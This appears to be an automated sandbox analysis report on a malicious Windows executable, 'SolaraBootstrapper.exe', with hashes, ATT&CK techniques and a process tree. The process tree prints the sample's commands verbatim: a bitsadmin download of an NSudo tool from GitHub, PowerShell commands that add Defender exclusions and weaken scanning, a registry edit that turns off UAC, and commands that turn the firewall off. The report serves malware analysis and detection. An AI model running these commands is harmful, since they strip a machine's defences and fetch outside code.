f74f54580d6be2be3245755cd960e61a29f0b0766e3eec827cb2909d6c768801

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 12:27

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General

Target

SolaraBootstrapper.exe
Size

715KB
MD5

f76e6a62661fdf7181a0072479b2f7c7
SHA1

bd4995f5d5d39931cec7bdf7872c89ca1c98b5d0
SHA256

f74f54580d6be2be3245755cd960e61a29f0b0766e3eec827cb2909d6c768801
SHA512

526e948cffaacaa6caa9313d28bdf8b726a40d863a6b6021482497b7c121ed830141cdcc3128d08122d9e50ab39fc4a0ff6475640ea0790c3b099ed829f310b9
SSDEEP

12288:gPwNKpOkwyszkgmBaPeMpAqrepwBWP3pwdDT6ulrGQ+Sf4JRZbsGOsyr4Fzi5:gPwAkkEzkgyaPhKpNPSDT6ulGtR6eFz

Score

10^/10

evasion execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2136	powershell.exe
1424	powershell.exe
1856	powershell.exe
1664	powershell.exe
2872	powershell.exe
2656	powershell.exe
1896	powershell.exe
880	powershell.exe
2396	powershell.exe
2100	powershell.exe
2264	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1352	netsh.exe

Executes dropped EXE 1 IoCs

pid	Process
2816	Solara.exe

Loads dropped DLL 2 IoCs

pid	Process
2648	SolaraBootstrapper.exe
2648	SolaraBootstrapper.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2576	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2136	powershell.exe
1424	powershell.exe
1508	powershell.exe
2872	powershell.exe
2656	powershell.exe
1896	powershell.exe
880	powershell.exe
2396	powershell.exe
2100	powershell.exe
2264	powershell.exe
1664	powershell.exe
1856	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 2816	2648	SolaraBootstrapper.exe	30
PID 2648 wrote to memory of 2816	2648	SolaraBootstrapper.exe	30
PID 2648 wrote to memory of 2816	2648	SolaraBootstrapper.exe	30
PID 2648 wrote to memory of 2816	2648	SolaraBootstrapper.exe	30
PID 2816 wrote to memory of 2764	2816	Solara.exe	31
PID 2816 wrote to memory of 2764	2816	Solara.exe	31
PID 2816 wrote to memory of 2764	2816	Solara.exe	31
PID 2764 wrote to memory of 2444	2764	cmd.exe	33
PID 2764 wrote to memory of 2444	2764	cmd.exe	33
PID 2764 wrote to memory of 2444	2764	cmd.exe	33
PID 2764 wrote to memory of 2856	2764	cmd.exe	34
PID 2764 wrote to memory of 2856	2764	cmd.exe	34
PID 2764 wrote to memory of 2856	2764	cmd.exe	34
PID 2764 wrote to memory of 2576	2764	cmd.exe	35
PID 2764 wrote to memory of 2576	2764	cmd.exe	35
PID 2764 wrote to memory of 2576	2764	cmd.exe	35
PID 2764 wrote to memory of 2136	2764	cmd.exe	36
PID 2764 wrote to memory of 2136	2764	cmd.exe	36
PID 2764 wrote to memory of 2136	2764	cmd.exe	36
PID 2764 wrote to memory of 1424	2764	cmd.exe	37
PID 2764 wrote to memory of 1424	2764	cmd.exe	37
PID 2764 wrote to memory of 1424	2764	cmd.exe	37
PID 2764 wrote to memory of 1508	2764	cmd.exe	38
PID 2764 wrote to memory of 1508	2764	cmd.exe	38
PID 2764 wrote to memory of 1508	2764	cmd.exe	38
PID 2764 wrote to memory of 2872	2764	cmd.exe	39
PID 2764 wrote to memory of 2872	2764	cmd.exe	39
PID 2764 wrote to memory of 2872	2764	cmd.exe	39
PID 2764 wrote to memory of 2656	2764	cmd.exe	40
PID 2764 wrote to memory of 2656	2764	cmd.exe	40
PID 2764 wrote to memory of 2656	2764	cmd.exe	40
PID 2764 wrote to memory of 1896	2764	cmd.exe	41
PID 2764 wrote to memory of 1896	2764	cmd.exe	41
PID 2764 wrote to memory of 1896	2764	cmd.exe	41
PID 2764 wrote to memory of 880	2764	cmd.exe	42
PID 2764 wrote to memory of 880	2764	cmd.exe	42
PID 2764 wrote to memory of 880	2764	cmd.exe	42
PID 2764 wrote to memory of 2396	2764	cmd.exe	43
PID 2764 wrote to memory of 2396	2764	cmd.exe	43
PID 2764 wrote to memory of 2396	2764	cmd.exe	43
PID 2764 wrote to memory of 2100	2764	cmd.exe	44
PID 2764 wrote to memory of 2100	2764	cmd.exe	44
PID 2764 wrote to memory of 2100	2764	cmd.exe	44
PID 2764 wrote to memory of 2264	2764	cmd.exe	45
PID 2764 wrote to memory of 2264	2764	cmd.exe	45
PID 2764 wrote to memory of 2264	2764	cmd.exe	45
PID 2764 wrote to memory of 1664	2764	cmd.exe	46
PID 2764 wrote to memory of 1664	2764	cmd.exe	46
PID 2764 wrote to memory of 1664	2764	cmd.exe	46
PID 1664 wrote to memory of 1352	1664	powershell.exe	47
PID 1664 wrote to memory of 1352	1664	powershell.exe	47
PID 1664 wrote to memory of 1352	1664	powershell.exe	47
PID 2764 wrote to memory of 1856	2764	cmd.exe	48
PID 2764 wrote to memory of 1856	2764	cmd.exe	48
PID 2764 wrote to memory of 1856	2764	cmd.exe	48

C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Users\Admin\AppData\Local\Temp\Solara.exe
  "C:\Users\Admin\AppData\Local\Temp\Solara.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\12D5.tmp\12D6.tmp\12D7.bat C:\Users\Admin\AppData\Local\Temp\Solara.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      4⤵
      PID:2444
  - - C:\Windows\system32\wscript.exe
      wscript C:\Users\Admin\AppData\Local\Temp\tmp.vbs
      4⤵
      PID:2856
  - - C:\Windows\system32\bitsadmin.exe
      bitsadmin /transfer Explorers /download /priority FOREGROUND https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe C:\Users\Admin\AppData\Local\Temp\NSudo.exe
      4⤵
      Download via BitsAdmin
      PID:2576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
      4⤵
      UAC bypass
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -PUAProtection disable"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2264
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "netsh advfirewall set allprofiles state off"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1664
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Add-MpPreference -ExclusionExtension "Solara.exe""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

BITS Jobs

T1197

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\12D5.tmp\12D6.tmp\12D7.bat

Filesize
3KB

MD5
ca8c6adbbd6da2a4a498fa35426ec982

SHA1
09e3d8616a6bfa8a5999324e6686139027acfb81

SHA256
ebb973dfe87b50bf8344ea291272ee1590f382a5735f92a56b8ef6d3d30fcf5c

SHA512
72520a8c8d61cd02469448c02017c2a3b039fb045358512a0a8cb8f2bd90fb46c5ac6027f88a6bab87d5ca1a96445809459ef18035bf32df246230d39d2b72b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp.vbs

Filesize
112B

MD5
9313d55e26ad30ddcbc046fe8013a21d

SHA1
a5712ce8864d7b0ca88b94c64226dfeb2221457f

SHA256
121ab5b57fb09d3c520a7fd6dfaa5b87844e1e8379a9635e7a737934e7e9226a

SHA512
77b7f3c2aca2ba61519a9fed7dbb3e7f2dd803bd566eeb9531e1ed038dff68e88c4d2f73a83e37396fd475f57dbdef55966361176dde70d1343747aca5888ba7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
de015ba5b82c0761db0f20dfa78e1535

SHA1
6cddb53932f20d49aef44dd01657f0b980cdb5aa

SHA256
37ad9b7f9a23a02db5c4c92be82704ec52abd7fbdf7b9ce194e9a77fd3069bd7

SHA512
d6c69a7f7b313d7e62150a4233be291e2f62b40a5486a1c74dd301f2e80e839c3915263ca33e3aafdb50bf4c2d61ea5487d3f758794d058728ba94aab7a5efd4

Download Submit
\Users\Admin\AppData\Local\Temp\Solara.exe

Filesize
123KB

MD5
97c55dabe9a79cd79f28c956776f7419

SHA1
1d24c86f2c31d8a099573e57e508aead646a1fce

SHA256
16f593cacbe6af31b0ec10b285bed89efb1b270f6bb29ec05fc98237f0194913

SHA512
1d26d2bcd410bc34e3a5e20562084423a143fd1d758ce28ed7841c9a15acba4425a8790b1357f722bad7200204a199e3830e9ab21343b8d72b0f7d4e5f523e8b

Download Submit
memory/1424-26-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/1424-27-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2136-18-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2136-19-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2648-0-0x0000000000400000-0x00000000004B5000-memory.dmp

Filesize
724KB

Download